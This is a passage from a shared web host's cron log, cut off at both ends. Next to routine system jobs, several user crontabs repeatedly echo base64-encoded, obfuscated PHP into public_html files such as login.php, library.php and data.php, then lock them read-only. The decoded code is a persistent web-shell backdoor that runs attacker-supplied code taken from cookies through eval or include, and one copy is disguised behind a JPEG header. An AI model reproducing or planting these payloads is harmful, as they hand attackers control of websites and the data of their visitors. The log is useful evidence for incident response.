"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:41:01 medusa CROND[802]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:41:01 medusa CROND[803]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 03:41:01 medusa CROND[805]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:41:01 medusa CROND[806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:41:01 medusa CROND[808]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:41:01 medusa CROND[809]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:41:01 medusa CROND[811]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:41:01 medusa CROND[813]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:41:01 medusa CROND[814]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 03:41:01 medusa CROND[817]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 03:41:01 medusa CROND[822]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:41:01 medusa CROND[823]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:42:02 medusa CROND[22702]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:42:02 medusa CROND[22801]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:42:02 medusa CROND[22802]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 03:42:02 medusa CROND[22803]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:42:02 medusa CROND[22805]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:42:02 medusa CROND[22807]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:42:02 medusa CROND[22808]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:42:02 medusa CROND[22811]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:42:02 medusa CROND[22812]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 03:42:02 medusa CROND[22816]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:42:02 medusa CROND[22819]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:42:02 medusa CROND[22810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:42:02 medusa CROND[22815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:43:01 medusa CROND[11290]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:43:01 medusa CROND[11291]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:43:01 medusa CROND[11292]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogI